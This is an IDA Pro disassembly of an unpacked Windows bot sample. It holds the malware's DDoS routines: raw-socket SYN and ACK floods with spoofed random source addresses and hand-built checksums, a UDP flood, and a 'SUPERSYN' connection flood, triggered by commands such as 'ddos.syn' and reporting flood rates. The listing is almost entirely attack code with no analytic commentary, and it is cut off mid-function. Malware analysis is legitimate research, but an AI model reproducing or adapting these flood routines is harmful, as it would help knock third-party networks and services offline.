;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 2C18C25AE71B27E4EEC5776FF68FA657
; File Name : u:\work\2c18c25ae71b27e4eec5776ff68fa657_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0008C000 ( 573440.)
; Section size in file : 0008C000 ( 573440.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40EE72+3A17o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call near ptr 25E08E4h
nop
push eax
call sub_417302
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013EC
add esp, 14h
push eax
lea eax, [ebp+var_494]
push offset unk_426050
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_401093
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40D679
add esp, 14h
loc_401093: ; CODE XREF: sub_401000+71j
lea eax, [ebp+var_494]
push eax
call sub_40BF6D
push [ebp+var_290]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43F5E0
test eax, eax
jz short loc_4010F5
xor eax, eax
jmp loc_4013E8
; ---------------------------------------------------------------------------
loc_4010F5: ; CODE XREF: sub_4010B5+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43F70C
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013E0
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43F648
cmp eax, 0FFFFFFFFh
jz loc_4013D6
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43F668
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43F668
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43F668
mov [ebp+var_12], ax
call sub_41730C
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43F668
push 12345678h
mov [ebp+var_14], ax
call dword_43F664
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C5
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401219
; ---------------------------------------------------------------------------
loc_4011C5: ; CODE XREF: sub_4010B5+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011E1
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401219
; ---------------------------------------------------------------------------
loc_4011E1: ; CODE XREF: sub_4010B5+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_401219
call sub_41730C
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41730C
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401219: ; CODE XREF: sub_4010B5+10Ej
; sub_4010B5+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43F668
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call near ptr 25F0000h
nop
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 25E0925h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_417760
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401267: ; CODE XREF: sub_4010B5+2E2j
; sub_4010B5+2F0j
mov [ebp+var_4], bx
call sub_41730C
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43F668
mov [ebp+var_14], ax
call sub_41730C
mov edi, eax
shl edi, 10h
call sub_41730C
or edi, eax
push edi
call dword_43F668
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43F664
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43F668
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417390
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF39
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF39
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43F6CC
cmp eax, 0FFFFFFFFh
jz short loc_4013AA
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call near ptr 25E0925h
nop
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D3
jl loc_401267
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D3
jmp loc_401267
; ---------------------------------------------------------------------------
loc_4013AA: ; CODE XREF: sub_4010B5+2CBj
call dword_43F5FC
push eax
lea eax, [ebp+var_F4]
push offset unk_426088
push eax
call sub_4172B0
lea eax, [ebp+var_F4]
push eax
call sub_40BF6D
add esp, 10h
jmp short loc_4013D6
; ---------------------------------------------------------------------------
loc_4013D3: ; CODE XREF: sub_4010B5+2E0j
; sub_4010B5+2EEj
mov ebx, [ebp+arg_8]
loc_4013D6: ; CODE XREF: sub_4010B5+78j
; sub_4010B5+31Cj
push [ebp+var_20]
call dword_43F700
pop esi
loc_4013E0: ; CODE XREF: sub_4010B5+5Bj
call dword_43F5C8
mov eax, ebx
loc_4013E8: ; CODE XREF: sub_4010B5+3Bj
pop edi
pop ebx
leave
retn
sub_4010B5 endp
; =============== S U B R O U T I N E =======================================
sub_4013EC proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov esi, eax
call sub_41781F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41781F
mov edi, eax
call sub_41730C
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B5
add esp, 20h
test eax, eax
jnz short loc_40143B
push 1
pop eax
loc_40143B: ; CODE XREF: sub_4013EC+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40144A proc near ; DATA XREF: sub_40EE72+3C05o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43F6E8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E5
call dword_43F5FC
push eax
lea eax, [ebp+var_3BC]
loc_401493: ; DATA XREF: ___:off_4282ACo
push offset unk_426214
push eax
call sub_4172B0
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C8
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_4014C8: ; CODE XREF: sub_40144A+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 25E02EAh
nop
loc_4014E5: ; CODE XREF: sub_40144A+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43F648
cmp eax, 0FFFFFFFFh
jnz short loc_40155C
call dword_43F5FC
push eax
lea eax, [ebp+var_3BC]
push offset unk_4261CC
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153F
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_40153F: ; CODE XREF: sub_40144A+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
loc_40155C: ; CODE XREF: sub_40144A+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43F6A8
cmp eax, 0FFFFFFFFh
jnz short loc_4015C3
lea eax, [ebp+var_3BC]
push offset unk_42619C
push eax
call sub_4172B0
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A6
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_4015A6: ; CODE XREF: sub_40144A+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
loc_4015C3: ; CODE XREF: sub_40144A+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43F668
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43F6A8
mov esi, dword_424058
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi
mov [ebp+var_8], eax
loc_401601: ; CODE XREF: sub_40144A+2E8j
call esi
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017AC
push 41Ch
mov byte_43C3E8, 45h
call dword_43F668
cmp [ebp+var_2C], edi
mov word_43C3EA, ax
mov word_43C3EC, bx
mov word_43C3EE, di
mov byte_43C3F0, 80h
mov byte_43C3F1, bl
mov word_43C3F2, di
jz short loc_401687
call sub_41730C
mov ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
push 1
mov dword_43C3F4, ebx
pop ebx
jmp short loc_40169F
; ---------------------------------------------------------------------------
loc_401687: ; CODE XREF: sub_40144A+20Bj
push [ebp+var_1BC]
call sub_40AEE0
pop ecx
push eax
call dword_43F6A8
mov dword_43C3F4, eax
loc_40169F: ; CODE XREF: sub_40144A+23Bj
mov eax, [ebp+var_18]
mov dword_43C3F8, eax
call sub_41730C
cdq
mov ecx, 100h
idiv ecx
mov byte_43C3FC, dl
call sub_41730C
cdq
mov ecx, 100h
idiv ecx
mov byte_43C3FD, dl
call sub_41730C
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_43C3FE, di
mov word_43C402, bx
inc edx
mov word_43C400, dx
call sub_41730C
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_43C404
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_43C3E8
push [ebp+var_4]
call dword_43F6CC
cmp eax, 0FFFFFFFFh
jz short loc_401737
inc [ebp+arg_0]
jmp loc_401601
; ---------------------------------------------------------------------------
loc_401737: ; CODE XREF: sub_40144A+2E3j
push [ebp+var_4]
call dword_43F700
call dword_43F5FC
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_42613C
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41782A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178F
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_40178F: ; CODE XREF: sub_40144A+323j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
loc_4017AC: ; CODE XREF: sub_40144A+1C8j
push [ebp+var_4]
call dword_43F700
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4260DC
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401814
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_401814: ; CODE XREF: sub_40144A+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
sub_40144A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401831 proc near ; DATA XREF: sub_40EE72+159Do
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401992
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)"
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4018B1
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D679
add esp, 14h
loc_4018B1: ; CODE XREF: sub_401831+5Ej
lea eax, [ebp+var_414]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
pop edi
pop esi
sub_401831 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018D0 proc near ; CODE XREF: sub_401992+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_43F668
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_40198E
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_40191B: ; CODE XREF: sub_4018D0+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_401923: ; CODE XREF: sub_4018D0+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_401946
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call near ptr 71AB155Ah
nop
loc_401946: ; CODE XREF: sub_4018D0+64j
add esi, 4
dec ebx
jnz short loc_401923
lea esi, [ebp+var_654]
mov ebx, edi
loc_401954: ; CODE XREF: sub_4018D0+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call near ptr 71AB3E5Dh
nop
add esi, 4
dec ebx
jnz short loc_401954
push 64h
call near ptr 25F0439h
nop
lea esi, [ebp+var_654]
mov ebx, edi
loc_401978: ; CODE XREF: sub_4018D0+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_401978
dec [ebp+arg_4]
jnz short loc_40191B
pop edi
pop esi
pop ebx
loc_40198E: ; CODE XREF: sub_4018D0+3Ej
xor eax, eax
leave
retn
sub_4018D0 endp
; =============== S U B R O U T I N E =======================================
sub_401992 proc near ; CODE XREF: sub_401831+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov edi, eax
call sub_41781F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41781F
mov esi, eax
push esi
push ebx
push edi
call sub_4018D0
add esp, 18h
test eax, eax
jnz short loc_4019C8
push 1
pop eax
loc_4019C8: ; CODE XREF: sub_401992+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019D7 proc near ; DATA XREF: sub_40EE72+3908o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401D28
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset dword_426280
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_401A57
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D679
add esp, 14h
loc_401A57: ; CODE XREF: sub_4019D7+5Ej
lea eax, [ebp+var_414]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
pop edi
pop esi
sub_4019D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43F5E0
test eax, eax
jz short loc_401AB6
xor eax, eax
jmp loc_401D24
; ---------------------------------------------------------------------------
loc_401AB6: ; CODE XREF: sub_401A76+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43F70C
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401D1C
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43F648
cmp eax, 0FFFFFFFFh
jz loc_401D12
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43F668
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43F668
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43F668
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43F668
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call near ptr 25F0000h
nop
lea eax, [ebp+var_8]
push eax
nop
call near ptr 25E0925h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_417760
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_401BA1: ; CODE XREF: sub_401A76+25Dj
; sub_401A76+26Bj
mov [ebp+var_24], bx
call sub_41730C
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43F668
mov [ebp+var_34], ax
call sub_41730C
mov edi, eax
shl edi, 10h
call sub_41730C
or edi, eax
push edi
call dword_43F668
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43F664
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43F668
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417390
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF39
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF39
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43F6CC
cmp eax, 0FFFFFFFFh
jz short loc_401CE6
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 25E0925h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401D0F
jl loc_401BA1
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401D0F
jmp loc_401BA1
; ---------------------------------------------------------------------------
loc_401CE6: ; CODE XREF: sub_401A76+247j
call dword_43F5FC
push eax
lea eax, [ebp+var_F4]
push offset dword_4262B8
push eax
call sub_4172B0
lea eax, [ebp+var_F4]
push eax
call sub_40BF6D
add esp, 10h
jmp short loc_401D12
; ---------------------------------------------------------------------------
loc_401D0F: ; CODE XREF: sub_401A76+25Bj
; sub_401A76+269j
mov ebx, [ebp+arg_8]
loc_401D12: ; CODE XREF: sub_401A76+78j
; sub_401A76+297j
push [ebp+var_C]
call dword_43F700
pop esi
loc_401D1C: ; CODE XREF: sub_401A76+5Bj
call dword_43F5C8
mov eax, ebx
loc_401D24: ; CODE XREF: sub_401A76+3Bj
pop edi
pop ebx
leave
retn
sub_401A76 endp
; =============== S U B R O U T I N E =======================================
sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov esi, eax
call sub_41781F
